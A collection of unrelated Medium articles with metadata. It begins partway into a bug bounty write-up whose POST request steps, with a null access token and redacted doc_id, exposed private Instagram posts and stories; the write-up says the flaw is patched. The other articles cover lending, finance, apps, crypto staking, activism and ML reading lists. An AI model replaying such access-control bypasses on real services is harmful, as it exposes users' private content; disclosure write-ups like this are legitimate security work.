Obtain target’s post/reel/IGTV/story media id (By brute-forcing or other technique) Send a POST request to https://i.instagram.com/api/v1/ads/graphql/
Parameters:
doc_id=[REDACTED]&query_params={“query_params”:{“access_token”:””,”id”:”[MEDIA_ID]”}} Where [MEDIA_ID] is the media_id of any post/reel/IGTV/story.
doc_id is redacted. In the response, display_url, save_count & other details of a particular media disclosed.
After few days, I found another endpoint with doc_id=[REDACTED] which discloses the same information. access_token was passed through the POST request so when I tries to access media’s of different accounts I got data:null in the response.
Steps:
1. Send a POST request to https://i.instagram.com/api/v1/ads/graphql/
Parameters:
access_token=[REDACTED]&variables={“query_params”:{“access_token”:””,”id”:”[MEDIA_ID]”},”fetch_actor_id”:false}&server_timestamps=true&doc_id=[REDACTED]
Where [MEDIA_ID] is the media_id of any post/reel/IGTV/story.
doc_id is redacted.
Other parameters are not included.
access_token is valid Facebook access token.
Response
2. Then I changed the access_token to null and I got access to the information.
Also same endpoint is disclosing Facebook Page linked to a Instagram account but Facebook page & Instagram account link is public. You can see here
https://www.facebook.com/ads/library/?active_status=all&ad_type=all&country=US&view_all_page_id=PAGE_ID&search_type=page
Where PAGE_ID is the Facebook page ID.
Parameters:
access_token=null&variables={“query_params”:{“access_token”:””,”id”:”[MEDIA_ID]”},”fetch_actor_id”:false}&server_timestamps=true&doc_id=[REDACTED]
Response:
Fix
Instagram has changed the above endpoints.
Timeline
16 April 2021 : Report sent
19 April 2021 : Reply from Facebook Security Team — Need more info
19 April 2021 : Information Sent
22 April 2021 : Report Triaged
23 April 2021 : Found another endpoint disclosing the same info
29 April 2021 : Fixed
29 April 2021 : Vulnerability not completely patched. Sent the information to FB Security Team
…. some messages exchanged …
15 June 2021: Awarded $30000 bounty. | https://infosecwriteups.com/this-is-how-i-was-able-to-see-private-archived-posts-stories-of-users-on-instagram-without-de70ca39165c | ['Mayur Fartade'] | 2021-06-22 19:57:47.569000+00:00 | ['Infosec', 'Info Sec Writeups', 'Facebook', 'Bug Bounty', 'Instagram'] |
Is Peer to Peer Lending Safe? Coffee with Kuflink’s Head of Collections | As Head of Collections for Kuflink, and armed with 30 years of banking experience, I have taken to this department like a duck to water. To get a deal underwritten requires an immense amount of work.
Several checks by multiple professionals:
1) Sales staff co-ordinating with Borrowers and their representatives;
2) Kuflink Underwriters carrying out thorough due diligence on Borrowers (ID checks, credit checks etc) and assets;
3) Valuation Reports from RICS approved Valuers. The Royal Institution of Chartered Surveyors (RICS) is a global professional organisation that establishes and enforces standards for valuing, operating and developing assorted types of real estate and Property.
4) Solicitors Firms that we use must have a minimum of two Solicitors appointed by the Solicitors Regulation Authority (SRA). They do complete Property Lending Legal checks and documentation.
5) Directors may do a site visit and see the Borrower and we will always engage with Valuers/Monitoring Surveyors to ensure the development is monitored throughout the term of the loan;
6) Credit committee for Kuflink Bridging Ltd examines all paperwork for the deal;
7) Credit committee of Kuflink Ltd will reach its own decision based on its policies;
8) Kuflink carries out internal Compliance checks, to ensure procedures are adhered to;
9) Kuflink Accounts team do further verification checks;
The above is a quick summary. As you can tell, we scrutinise each deal and many don’t get through, but when they do, then we are confident to put them on the platform and co-fund them. Sometimes there are Post completion tasks which solicitors have undertakings to complete and for development deals, there are further monitoring reports carried out by valuers. As an extra measure, our Property experienced Directors may also attend site before drawdown, to ensure appropriate works are complete.
The Covid Period brought out a sense of even more collaboration with borrowers, we needed to ensure the asset was protected and the Borrower was treated fairly. There is little point in forcing a quick sale when the market has turned south. It is often best to ride out the storm.
Our founders created Kuflink in 2011 when they themselves went through troubled times, where their bankers forced them to sell some assets at the bottom of the market. It is difficult when you have borrowers initial equity ignored just so that the bankers can get their money back.
So, we worked with borrowers to ensure they could get themselves to a level where they could reduce the loan amount by a certain amount to get a workable extension. There are times when the Borrower has given up or really cannot see an exit. It is why we have our Kuflink default definition to create quicker alert points for us to take action.
KUFLINK DEFAULT RATE.
FCA DEFAULT DEFINITION
A loan defaults when it is one calendar month past a missed payment, with this payment still outstanding. This may be a monthly servicing payment or the full repayment at the end of the term.
A loan defaults when the Borrower is past the contractual payment due date by more than 180 days. Which is approximately six calendar months.
We react much quicker. We get in contact with borrowers many months before things go into one month default. Interestingly, our debt repayment during covid was substantial. This is mainly due to the underwriting and credit committee decisions.
I can say that we are looking forward to 2021. Many deals are going through, and due diligence is the key. We learn tremendous amounts on how Borrowers behave under pressure and we then pass this understanding across the business to underwriters and committees to ensure our investors are better protected and borrowers can prosper with a Kuflink Peer to Peer loan.
*Capital is at risk and Kuflink is not protected by the FSCS. Past returns should not be used as a guide to future performance. Securing investments against UK property does not guarantee that your investments will be repaid and returns may be delayed. Tax rules apply to IF-ISAs and SIPPs and may be subject to change. Kuflink does not offer any financial or tax advice in relation to the investment opportunities that it promotes. | https://medium.com/@kuflink/is-peer-to-peer-lending-safe-coffee-with-kuflinks-head-of-collections-49a38a80f597 | ['Kuflink Ltd'] | 2021-01-16 13:14:46.019000+00:00 | ['P2p', 'Investing', 'Investment', 'Passive Income', 'Peer To Peer'] |
Fake News and Social Media: How prevalent is it? | Image Source: BBC
Fake news is often perceived by people as social media posts with imaginary and implausible stories. Although the most visible aspect of fake news is social media posts, there is much more to it than article titles, which are exaggerated.
Fire in this world requires 3 elements to survive: fuel, heat, and oxygen. Similarly, fake news also requires 3 elements to succeed.
Tools and services are essential for spreading a manipulated message on social media platforms. Many of these platforms include members from across the world.
are essential for spreading a manipulated message on social media platforms. Many of these platforms include members from across the world. Social media provides us with a view of a relationship between recipients of the posts and bots. This assists in deducing the scope of campaigns or organizations, which spread fake news to manipulate people.
provides us with a view of a relationship between recipients of the posts and bots. This assists in deducing the scope of campaigns or organizations, which spread fake news to manipulate people. Propaganda campaigns always arrive with a query: Why? The motivations behind spreading fake news can be diverse and can stem from a monetary desire. In many other cases, the motivations can stem from political or criminal backgrounds.
Regardless of the motivations behind creating and spreading fake news, its success is deduced via how much impact it can have on the real world. It is important to be vigilant in today’s world, where fake news can cause harm to a person, community, or organization. | https://medium.com/@serendipitouswriter/fake-news-and-social-media-how-prevalent-is-it-836f2fcb7dd6 | ['Abhilash Khalkar'] | 2020-12-19 09:15:26.111000+00:00 | ['News', 'Fake News', 'Digital', 'Awareness', 'Social Media'] |
This is a shameless ask. | Everything Shortform is a publication for Medium stories 150 words and less. Rapid reads to capture your attention and direct it towards further reading or short expressions readers can gulp down in one bite. Use Everything Shortform to get your point across quickly. | https://medium.com/everything-shortform/this-is-a-shameless-ask-1e46c833363b | ['Aimée Gramblin'] | 2020-12-17 14:18:47.700000+00:00 | ['Writing', 'Innovation', 'Humor', 'Ideas', 'Short Form'] |
Meet the team: Software Engineer & CIO Daniel Kirchgesner | Short Introduction:
I am Daniel Kirchgesner, 22 years old and software developer at SiriusX FinTech. For me it was a big and uncertain step after completing my Bachelor’s degree in Software Engineering at Heilbronn University not to take the usual step of selecting a large company that had proven itself for many years and to gain professional experience with it. Instead, I decided to take this opportunity here, which is why I’m doing this interview now. My long-time buddy Peter Metzler contacted me over a year ago with the idea for SiriusX, which he developed together with Patrick Scheiter, and asked me for technical support. Convinced of the concept, I started creating the website during my studies and have been an integral part of the team ever since.
What does your support look like in concrete terms?
My tasks are planning, creating and managing websites and apps. I am responsible for the operation and maintenance of the products as well as for quality assurance. System tests are carried out under my direction, the results are evaluated and documented accordingly and decisions are derived from them.
How do you judge your career decision in retrospect? | https://medium.com/@siriusfintech/meet-the-team-software-engineer-cio-daniel-kirchgesner-fd89319535c2 | [] | 2019-11-15 19:44:49.247000+00:00 | ['ICO', 'Blockchain', 'Blockchain Startup', 'Software Development', 'Blockchain Technology'] |
Post Corona, From Crisis to Opportunity by Scott Galloway — Notes | Chapter 3: OTHER DISRUPTORS
The Disruptability Index
The opportunity for disruption in an industry can be correlated to a handful of factors — a disruptability index. The key signal is dramatic increase in price with no accompanying increase in value or innovation. This is also known as unearned margin. ( Example: Higher Education, Healthcare) Another factor of disruptability is a reliance on brand equity divorced from the quality of the product, its distribution, or support. Many firms and industries have fostered an adversarial relationship with consumers. Insurance, Healthcare
The Burning of the Unicorn Barn
Bill Gates was the first to prove the same person could found a company and take it to $100 billion in value. Gates grew Microsoft to $600 billion over 14 years. In 2005, we weren’t making that many more true geniuses, but available capital began to increase exponentially. VCs jockeying to fund successful founders devised term sheets that included secondary sales, two-class shareholder structures, and other founder-friendly terms.
The NASDAQ quadrupled in ten years. The sheer amount of capital meant that companies could pursue capital-driven growth strategies. That is, they could buy market share by selling at a loss, while raising subsequent rounds of capital, at increasing valuations, due to growth that was fueled by cheap capital. The number of U.S. IPOs has declined 88% from 1996 to 2016. It also takes much longer for companies to get public. The average age of a company up for IPO increased from three to eight years over the last 20 years.
ENTER THE UNICORN
Aileen Lee found 39 unicorn companies and reported that new ones came along at a rate of about 4 per year. Estimates put the number today at around 400, with 42 born in 2019 alone. Value is a function of growth and margins. As they did in the ’90s, many of today’s unicorns have deployed massive capital to achieve the former while not demonstrating the value proposition to achieve the latter.
SOFTBANK’S $100 BILLION UNICORN BUFFET
The pitch from SoftBank to entrepreneurs was simple and compelling. “You aren’t thinking big enough. We want to invest three times your planned raise, and if you don’t do a deal with us, we’ll inject these liters of growth hormone capital into your biggest competitor.” Capital is in fact a weapon in private equity, where only a few firms can bid for the truly great, proven assets with enormous cash flows. However, in venture, and growth, the secret sauce is dislocation, a market ripe for disruption, and crazy genius founders who are too stupid to know they will fail. When your ability to deploy billions into a concept becomes the priority, as it does when you have $100 billion to deploy, your returns go down. Business and trade are, despite rumors of the death of distance, a function of geography. A retail store’s profitability is correlated with proximity to HQ.
The availability of capital is not correlated with the availability of good places to invest the capital. Good investments — disruptive start-ups with the potential to grow into sustainable multibillion-dollar enterprises — will always be scarce.
YOGABABBLE
Too much capital and not enough talent is the cue for the rise of the charismatic founder. According to LinkedIn, there are more corporate comms personnel working for Bezos at Amazon (969) than journalists working for Bezos at The Washington Post (798).
THOROUGHBRED VS. UNICORN
On a per-mattress basis, Casper captures $1,362 in revenue. But it spends $761 on the mattress, $480 on sales and marketing, and an impressive $470 on administrative overhead. That’s a loss of $349 per mattress. Casper tried to wrap an undifferentiated product with aspirational associations.
When the Smoke Clears
Private investors — traditional venture capitalists, but also institutional investors whose appetite for risk has increased with their assets under management — are signing up for more and larger financing rounds, and using the public markets as an exit, instead of as a financing event. Abundant capital permits a heft of financing rounds previously only available in the public markets, and a robust secondary market provides liquidity to shareholders. A major reason we are seeing so many unicorns is companies stay private longer. This has the benefit of reduced overhead and regulatory compliance costs, as well as less scrutiny. The company captures more of the upside for its private-market backers. Another change has been the increased potential for another form of high-return exit — acquisition by one of the mega tech companies like the Four. Apple has cash worth 200 unicorns ($200 billion) on its balance sheet. Google has $120 billion. The 12 unicorns that exited in the first half of 2020 did so at a 91% premium to their last private valuation. The pandemic may birth the best-performing IPO class in several years, as the market’s valuations are based on a firm’s perceived performance 10 years ahead. The same is true of the downside: as firms that are struggling are issued a do-not-resuscitate order from the markets and are valued at their (remaining) cash flows. The cheap capital economy that offers disruptors the opportunity to pull the future forward sucks oxygen from the incumbents, who are forced to retrench (layoff, cuts in CapEx) as the new kids on the block can lean into new investments and hiring. The eight elements of the T Algorithm (rillion-dollar valuation) are as follows: Appealing to human instinct; Accelerant; Balancing growth and margins; Rundle; Vertical integration; Benjamin Button products; Visionary storytelling; Likability
Appealing to human instinct:
The brain instinct : We are constantly looking for answers to help explain our experiences and the world around us (Google). Bargains (Walmart) and rational claims (Dell, Microsoft) appeal to the brain. Margins tend to be small in brain-appealing businesses — there is one lowest price or fastest processor. The heart : We have an innate desire to connect with the people around us. Caring for those around you makes you more willing to spend. The Gut The Genitals: We are motivated to buy products and services that make us feel more successful and good-looking, so we can attract better mates. We pay irrational margins for products that improve our sex appeal. Contrast rational companies Walmart and Amazon (the brain and the gut) to Ferrari and Louboutin (the genitals).
Accelerant:
A firm that serves as an incredible springboard for a person’s career. Other than intellectual property or defensible IP, a firm’s ability to attract talented employees is one of the most important contributors to success.
Balancing growth and margins:
Typically, margins are in conflict with growth. There are some companies that take very low margins, like Walmart, and as a result are able to grow faster because they don’t charge much additional margin for their value-add. In contrast, if a firm has high margins, it usually has lower growth and lower potential for scaling. Only some exceptional firms, like the Four, are able to combine high growth with high margins.
Rundle:
A bundle of goods and/or services that justifies recurring revenue. This strategy exploits one of our key weaknesses as human beings: we are terrible at estimating the value of time. Firms that convince consumers to enter into a monogamous relationship with them are positioned to accumulate more value over time than firms that interact with consumers transactionally. Example: Apple currently offers music and streaming video subscriptions, but it could bundle both of those products, plus news, plus annual iPhone upgrades, into a bigger recurring revenue bundle. Disney could bundle Disney+, parks, cruises, and other perks into several tiers of packages based on recurring revenue, or a multiple-product subscription.
Vertical integration:
A firm’s ability to control the end-to-end customer experience by controlling as much of the value chain as possible. Companies that control distribution reap huge benefits.
Benjamin Button products:
Products or services that age in reverse (get more, rather than less, valuable to users over time) due to network effects. Example: Spotify
Visionary storytelling
Telling a compelling story unites employees and attracts top talent and cheap capital.
THE SHINIEST UNICORNS IN THE HERD | https://medium.com/@sohilgupta/post-corona-from-crisis-to-opportunity-by-scott-galloway-f8aa36cd4e58 | ['Sohil Gupta'] | 2020-12-23 18:32:27.191000+00:00 | ['Corona', 'Tesla', 'Amazon', 'Business', 'Apple'] |
Top 5 Underrated Shopify Apps To Boost Your Ecommerce Sales | Top 5 Underrated Shopify Apps To Boost Your Ecommerce Sales
You may ask yourself, so, just what is Shopify and how do I use it? Shopify is an online trading base that lets one create an online store and trade their items. Additionally, merchants can sell their products face-to-face through Shopify POS. Shopify was created more than ten years prior when Tobi Lütke wanted to sell snowboards for his company Snowdevil. He realized speedily that he needed a fast and comprehensive online trading base, and so Shopify was born.
Shopify Apps to Boost Sales
Oberlin
Oberlin is one of the highest ranking Shopify apps. This app lets you get more products for your shop and send them straight to your customers as well. Oberlin lets you pick out items from AliExpress and Oberlo Markets from where you are able to sell items on Shopify with only a couple taps of your mouse. That sounds like a wonderful way to get all your products in sales-ready shape!
Oberlo also redeems orders for people, specifies products, and dots together with current Shopify items. You cannot beat these awesome qualities (if needed reread) in a Shopify app. And you always need an app that accomplishes things in only a few mouse taps.
Printful
Entrepreneur wearing t-shirt designed on Printful Shopify app
Second on this list is Printful, an app that lets you print on whatever product you prefer with whichever designs you would like to pick out. With this unique and delighting app you are able to make designs for t-shirts, bags, socks, canvases and many others. If a person orders the product once you’re aligned with Printful, they gather the order, print the product, and send it to your patrons without you even having to see the shirt or bag, etc. What more nifty of a way to spend time on other more important things, like grooming your cat?
Seguno
The third app that I want to discover is called Seguno. Seguno lets you put into action online marketing to make your new customers into normal patrons. This helper also creates thank-you email messages for your customers and founds confidence with your buyers. Seguno saves you cash by helping make new patrons into returning buyers, making use of versatile suggestions for aiding with abandoned cart, and creating individualized discount codes. But the best part is, Seguno is free for a maximum of 250 members. Bite into that like a Halloween satisfying almond joy…
Smile
Entrepreneurs browsing Shopify apps for ecommerce
And a fourth great app is named Smile. With a name like that who needs enemies? Utilize Smile by encouraging your viewers to make new purchases by doing online exhibiting for your website. It may sound complex, but it breaks down like this. Create a point system, telling others about your site, or implement VIP based loyalty programs to stir up new sales. Then, measure the sales with ease through Smile analytics. It’s as simple as that: getting new buys through all that point garnering and referral.
Kit
The last app I want to look over is called Kit. Kit helps bring shoppers to your Shopify store. You might have thought of this by using digital marketing. But if that isn’t your strong suit, consider using Kit. It can air Facebook ads, email marketing campaigns, and tune in performance notifications. Amped using artificial intelligence, Kit aids one in finding future patrons on Facebook and Instagram, then sending them targeted messaging and offers simultaneously. In addition, by staying active while you’re in dreamland, Kit proves to be a bonafide app you won’t wanna miss. Thanks for shopping, and sweet dreams!
What is your best Shopify app to use? Let us know down in the comments.
This article originally published on GREY Journal.
This article originally published on GREY Journal: https://discovergrey.com/hustle/work-tech/top-5-underrated-shopify-apps-to-boost-your-ecommerce-sales/ | https://medium.com/@GREYJournal/top-5-underrated-shopify-apps-to-boost-your-ecommerce-sales-9413fb8dd317 | ['Grey Journal Staff'] | 2020-11-16 16:10:18.808000+00:00 | ['Featured', 'Advancing', 'Growth Strategy', 'Ecommerce', 'Cap Mcramer87yahoo Com'] |
New Etheremon world | As one of the ways to improve user experience as well as to commit to our goal of building Etheremon into a magical world for our players, we are focusing on features that can iron out barriers for new users and make the gameplay more seamless and exciting. Today, we are glad to introduce you to the Etheremon World Map (Beta version) as follow:
Etheremon World Map
The first region of Etheremon has been officially released today, 7 March. This map consists of all available game modes. Future features and game modes will also be developed in this map. Current features include: | https://medium.com/etheremon/new-etheremon-world-e9c12305e4f9 | ['Minh Do'] | 2019-03-07 09:01:00.774000+00:00 | ['Art', 'Gaming', 'Blockchain', 'Releases', 'Ethereum'] |
ElonCoin Staking | A Beginners guideline to Staking ElonCoin | Staking Eloncoin is the best way to earn EMC. Unlike PoW Coins, staking doesn’t require a lot of hardware resources. ElonCoin staking will only require you a device to run the ElonCoin Wallet, hold some EMC on the wallet, and keep your wallet connected to the internet. That’s it. You are fine to earn some EMC by contributing to the ElonCoin network.
ElonCoin has been created with the purpose of ensuring low energy consumption as recently Elon Musk has posted Bitcoin consumes so much fossil fuels. Since Bitcoin is a Proof-of-Work coin and there are thousands of active miners trying to find a single block, it wastes a lot of resources. However, a PoS coin consumes/wastes much less energy than PoW coins.
Information about ElonCoin Staking Rewards:
Ticker: EMC
Max Supply: 10 Billion
Type: PoS
Block time: 71 seconds
Block Reward:
0 to 50000 Block- 100000 EMC
50001 to 100000 Block- 50000 EMC
100001 to 150000 Block- 25000 EMC
150001 to 200000 Block- 12500 EMC
200001 to 250000 Block- 6250 EMC
250001 to 300000 Block- 3125 EMC
300001 to 350000 Block- 1562.5 EMC
350001 to 500000 Block- 781.25 EMC
500001 to UP- 500 EMC
Guideline to Staking ElonCoin (EMC)
For staking ElonCoin, you will either need your computer to run all the time to run the wallet for ElonCoin Staking, or you have to rent VPS to run the ElonCoin Client. Both processes are the same. If you have idea about how to set up a VPS, you are fine to go. I will share here about running your wallet on your personal computer using Windows and staking ElonCoin.
1st Step:
You have to download the ElonCoin wallet in order to stake ElonCoin. After downloading the file, install the wallet. Now, create your wallet. Remember to save your wallet backup and/or store your private key in a safe way.
2nd Step:
After creating your wallet, generate an address and receive some EMC in your ElonCoin wallet in order to start staking ElonCoin. After receiving the coins, you have to wait till 600 confirmations for starting ElonCoin staking. After 600 confirmations, your coin will be mature enough to stake ElonCoin for you.
That’s it. Very simple.
FAQ on ElonCoin Staking
But, you should probably know some more information about how ElonCoin staking actually works. I will list them below. Will update the list with more soon.
A. Why don’t I get a block?
It depends on how much ElonCoin you are holding for staking. If you are holding a few thousand coins, you are unlikely to get a block.
B. How long does it take to get a block?
If your coins are matured which means they are over 600 confirmations, depending on your network weight vs total network weight, you will get a block. Right now, it should take at least a week to get a block if you are staking ElonCoin of 100k. | https://medium.com/@Elon_Coin/eloncoin-staking-a-beginners-guideline-to-staking-eloncoin-234a9899722f | ['Eloncoin', "I'M Not An Official Member."] | 2021-07-02 17:43:35.193000+00:00 | ['Eloncoin', 'Staking', 'Staking Rewards', 'Staking Guide', 'Proof Of Stake'] |
Cristina Robinson: Making the Ocean My Office | Learning about whales and dolphins and their behaviors and intelligence captivated and fueled me to pursue my marine biology career goals, regardless of how challenging the road became. After finally graduating with my B.S. in marine biology from California State University of Long Beach, I worked for an environmental consulting company, MBC Aquatic Sciences, where one of my duties included microscopic sorting of various coastal benthic samples. This microscope sorting introduced me to microplastics, tiny sesame seed-sized pieces of plastic and microfibers (these shed from synthetic clothing) mixed with organic material and invertebrates in almost every sample jar. This was my lightbulb moment! It opened my eyes to the ubiquitous impacts of our plastic pollution and how interconnected humans are to our environment, whether we realize it or not. I started sharing plastic pollution information with friends and family and looking into solutions.
© Cristina Robinson
To spread awareness of the consequences our plastic use has on human health, wildlife and the environment, I created my own website and included information on plastic alternatives, zero waste options and educational resources. I also created a social media presence to reinforce these efforts and amplify my message and get people involved. I like to share tips on ways we can all incorporate more eco-friendly habits in our everyday lives. Doing this not only benefits our planet by reducing our negative impacts, but it can also inspire others to make lifestyle changes that have a ripple effect on those around us.
Plastic alternatives for the kitchen! (© Cristina Robinson)
This felt like something I HAD to do because it’s something I CAN do. So much of my fieldwork with both OC Coastkeeper and Laguna Ocean Foundation highlighted litter and plastic pollution in my local watersheds. Seeing littered beaches and picking up trash while surfing drove me to want to do something to prevent this litter from turning into marine debris and harming sea life. Years ago, I started grabbing five pieces of plastic while walking back to my car after every surf session, then asked my friends to do the same and I was pleasantly surprised to learn that some of them even do this on days we don’t surf together. This is something I encourage everyone to do anytime they go outside. Realizing I help change others’ behavior and knowing I am making a difference feeds the resilience and motivation that keeps me going. Helping to protect the ocean and its inhabitants has increasingly resonated as my life’s purpose over the years, and that passion continued to drive me when I struggled with my career path. I am really proud of my younger self for trusting my gut instincts to not pursue work with any scientists who made me feel uncomfortable as a young woman and for learning from those experiences instead. I know that I can stand up for myself and my scientific integrity, even to scientists I once admired, if their behavior is inappropriate and unprofessional, and I will not be intimidated by their achievements in the field as I forge ahead on my own path and create my own accomplishments.
© Taylor Parker
One of the accomplishments I’m most proud of is what I created last year with one of my favorite friends (and trash-removing partner in crime) Janine Rodriguez. We designed stickers encouraging people to protect our planet from pollution and started picking up one pound of trash for every $1 sticker sold. We started this year with a goal of removing 1,000 pounds of trash. To chip away, we’ve been doing weekly cleanups and by the end of May 2021 we already collected about 1,100 pounds collected and surpassed our sticker goal as well! The last week of January we had a big rainstorm so I planned to head down for a beach cleanup that weekend. But I was not expecting and have never seen so much trash in one area before. I managed to collect 124 pounds, but there were bulky furniture items, shoes galore, lots of facemasks, tons of single-use food and beverage containers, toys, endless pieces of Styrofoam and lots of broken up plastic. It quite frankly moved me to tears. Thanks to wonderful friends who heard my call for help, we removed almost 400 pounds of trash the following day. I am simultaneously so proud of these efforts, but sad that this much trash was there to begin with, and that so much trash remains. | https://medium.com/wild-without-end/cristina-robinson-making-the-ocean-my-office-3e20ff0ac12 | ['Defenders Of Wildlife'] | 2021-05-28 03:16:55.082000+00:00 | ['Oceans', 'Wild Features', 'Outdoors', 'Women in STEM', 'Plastic'] |
Will Australia’s economy keep rising? | Monday Money Mate — 7 December 2020
September’s GDP results showed Australia has emerged from its COVID recession, but the next shopping week will be a crucial one for building momentum for a happier New Year.
While Australia’s economy looks healthier, there’s growing concern about the US economy as COVID cases there continue to rise.
The nation’s latest Employment Trends Index is due for release on Wednesday — a key indicator of economic health — so if the US sneezes, will Australia catch a cold?
Monday 11.30 am EST
Australia ANZ Job Advertisements (Dec)
Are Australian employers hiring?
Tuesday 11.30 am EST
RBA interest rate decision (Dec)
Is Australia’s economy bullish or bearish?
Tuesday 14.30 am EST
Australian building approvals (Dec)
Are Australians building new homes or waiting for better times?
Tuesday 02:00 am EST
US Employment Trends Index (Dec)
Is the US economy rising or falling?
Will Australia have a merry Christmas?
But with just three weeks to Christmas, key consumer confidence indicators will be released from banks like NAB and Westpac this week, as well as the latest figures for new build housing.
Economies run on confidence, so these housing and retail indexes could be a true barometer of the economy’s health.
So Australia’s economic leaders will be watching slowly to see if we’ll be scrooges or spenders.
Want to see more?
These media summaries are available on the Grafa App. Preorder Grafa now. | https://medium.com/@grafa/will-australias-economy-keep-rising-f0f9f17b7e06 | [] | 2021-01-05 06:49:47.909000+00:00 | ['Asx', 'Australia', 'Grafa', 'Money Mate', 'Newsletter'] |
How to Effect Change in our World | An explanation of my processes:
There are many ways to effect change in the world. You can talk to one person or many with your idea and if you’re persuasive and your idea is a good one you may be able to see a positive result. I have been an activist since I was a teenager (born in 1961), but in the last 20 years or so I have been weaving what I have been learning as a digital marketing professional with what I have learned previously through various organizing efforts I’ve participated in and led. If I had written this even a year ago it would have been a different article, but now it’s 2020 and things are coming into focus for me in a new way. Feel free to take any of this and try it out for yourself and get back to me. I also am always open to feedback — so, add something in the comments section below or send me your thoughts directly.
Pick something you want to see changed. This is something I learned from Harvey Jackins who started Re-evaluation Counseling. Pick one thread. Dedicate some time to pulling on that thread — possibly for the rest of your life. Usually, for me, this has been something that has bothered me. I imagine that’s a driver for many people. Or, maybe it’s something you’d like to prevent from happening — the climate crisis comes to mind. One of the first issues that really caught my attention and that I have kept high on my list is population growth. Once I learned about ZPG in 1995 that was the thread for me — and I’ve been pulling ever since. But I think for the purposes of this article I’m going to choose a topic that’s smaller and that I’m actively working on today — Eliminating the use of gas-powered leaf blowers. Do I think that the world has too many people and that that is a major driver of many other problems we face? Yes. But something that will immediately improve my life and those around me is ridding the world of the nuisance that is gas-powered leaf blowers. So, I will continue on with that topic. Do some research and see who is doing what on the topic. If you’re wanting to effect change locally, you might find either: someone once started something and then dropped it; someone started something and it’s still going or — someone started something and there is an effort already underway. But, be prepared to become the driver of the movement. Because that’s what it takes. To really make a change you have to put yourself in there. I’ve made this mistake in the past — joining a group that once existed, and it took me a while to realize that no one was really pulling the oars anymore. So, once you’ve sussed out where the issue is, get ready for action. Start an email list. What this can also be called is an email newsletter. Yes, you can start a Facebook page or group, but really, you’ll want a way that you can send your growing group of supporters information from time to time and thus suss out who might be interested in joining your effort and what their level of interest and strengths are. Personally, I use Constant Contact (affiliate link). I’ve been a partner of theirs since 2008 and have spent years teaching small businesses and nonprofits how to create newsletters and build email lists. That said, any ESP will do. Here is a list of some of the others. I’ve written newsletters over the years which explains why email marketing is one of the highest ROI’s in digital marketing. It’s probably the highest. The main reason is that when you send a newsletter to an interested audience (people who have signed up to receive the news) the open rates are often very high. For my/our effort to eliminate leaf blowers in Portland, Oregon an open rate of our newsletter of 60–80% is not unusual. Build your Email List. Here are some of the common ways to do that: Figure out a link for people to sign up for the newsletter — add that to your email signature — post it to any social media you might also have for your effort — create an autoresponder so that when someone signs up for your list they receive a welcome note that has action steps they can take — create a newsletter and get ready to send it out. This link can also be placed on your website and in any communication you make on the topic, for instance on Nextdoor.com. Once you have this system in place you can continue to build your list through other tools such as online polls and online surveys. Polls can include a newsletter sign-up link and/or can be sent as an update to signors. Surveys are a fantastic way to further segment your list to find out more about who is there and what they are available to do. Eventually, you will have people drawn to your cause and you can continue to think of further ways to organize your efforts. By this time you may have also found other people who are as committed to the issue as you are, but don’t ever count heavily on people staying with the issue as you are doing. That will just lead to disappointment — peoples’ interest rises and falls — you have to be the steady one. If you do find others who are as excited as you are about the effort — try to start gathering with them regularly. Currently, that’s going to be virtually — but that’s fine and works! As you go, you may find a way to train others in what you’ve learned along the way, but you may need to stay a leader for a long time. Take breaks. Have fun with it. I always enjoy mixing fun with activism — that’s part of what’s enabled me to stick with it over the years. Celebrate successes. Even small ones! Keep pulling on the thread
References
@KateWiddowsGraphicDesigner | https://medium.com/@albertkaufman/how-to-effect-change-in-our-world-1be5ed9f22fc | ['Albert Kaufman'] | 2021-03-08 02:14:33.410000+00:00 | ['Change', 'Email Marketing Lists', 'Email Marketing', 'Email Marketing Tips', 'Email Newsletters'] |
26+ Useful Machine Learning Blogs and Newsletters to Increase Your Productivity | These are blogs, sites, and newsletters that my colleagues read and I browse through. We can keep up with the rapidly increasing Machine Learning knowledge-base. These are good summations that guide us to the more detailed papers we should read in our specializations.
Research Paper Tools
I think many researchers use arxiv Sanity Preserver, but it is talked about rarely. I use arxiv Sanity Preserver solely to find articles of interest. I use Mendeley to store, read, and markup those PDF-formatted articles that I find interesting through arxiv Sanity Preserver.
Blogs
Over the last eight years, a newer phenomenon has been the uprising of blog sites that are great supplements to arxiv. The following are my “goto” blog sites:
Medium is a myriad of blogs divided by class or category on-line daily publications . It is one of our “goto” blog sites. Also, Medium publications such as towardsdatascience, theStartup, machine-learning, Artificial Intelligence, and programming explain and summarize techniques and papers and expose us to what is new or a leading trend.
is a myriad of blogs divided by class or category on-line daily publications It is one of our “goto” blog sites. Also, Medium publications such as towardsdatascience, theStartup, machine-learning, Artificial Intelligence, and programming explain and summarize techniques and papers and expose us to what is new or a leading trend. Distill is probably my favorite blog site. What draws me is the clarity of the topic under discussion. The second draw is illuminating graphics. There is an abundance of interactive graphics, probably done with hand-crafted JavaScript . I feel compelled to say; you can get close to these visual effects with the latest releases of HiPlot and Streamlit , both of which are covered in later blogs.
is probably my favorite blog site. What draws me is the clarity of the topic under discussion. The second draw is illuminating graphics. There is an abundance of interactive graphics, probably done with hand-crafted . I feel compelled to say; you can get close to these visual effects with the latest releases of and , both of which are covered in later blogs. The Deeplearning.ai blog site is a site that lists all the courses produced by Deeplearning.ai, a growing list of tutorials, the “Pie & AI” signup, and “Pie & AI “ event descriptions and dates. I recommend that you go to the Deeplearning.ai site at least once a month to review the new material.
Sites
The Ethical Machine Learning’s awesome-production-machine-learning and awesome-artificial-intelligence-guidelines sites. I start here if I want to find the latest and greatest in the Machine Learning production or ethics categories.
Machine Learning Production topics. Source: https://github.com/EthicalML/awesome-production-machine-learning
fast.ai site references blog, book, package, community chat group, and three years of courses ranging from beginner to SOTA (state-of-the-art) on deep learning. The package and courses are based on Pytorch , except for the first course based on Tensorflow . I expect another course version next year and another release of the fast.a i package. Last year they took a stab at Tensorflow on Swift . It will not surprise me if the upcoming course introduces Julia .
blog, book, package, community chat group, and three years of courses ranging from beginner to SOTA (state-of-the-art) on deep learning. The package and courses are based on , except for the first course based on . I expect another course version next year and another release of the i package. Last year they took a stab at on . It will not surprise me if the upcoming course introduces . realpython has the best Python tutorials I have ever read on advanced Python fundamentals. People that are Python beginners, as well as multi-year experienced Python software engineers, can learn from the tutorials on this site.
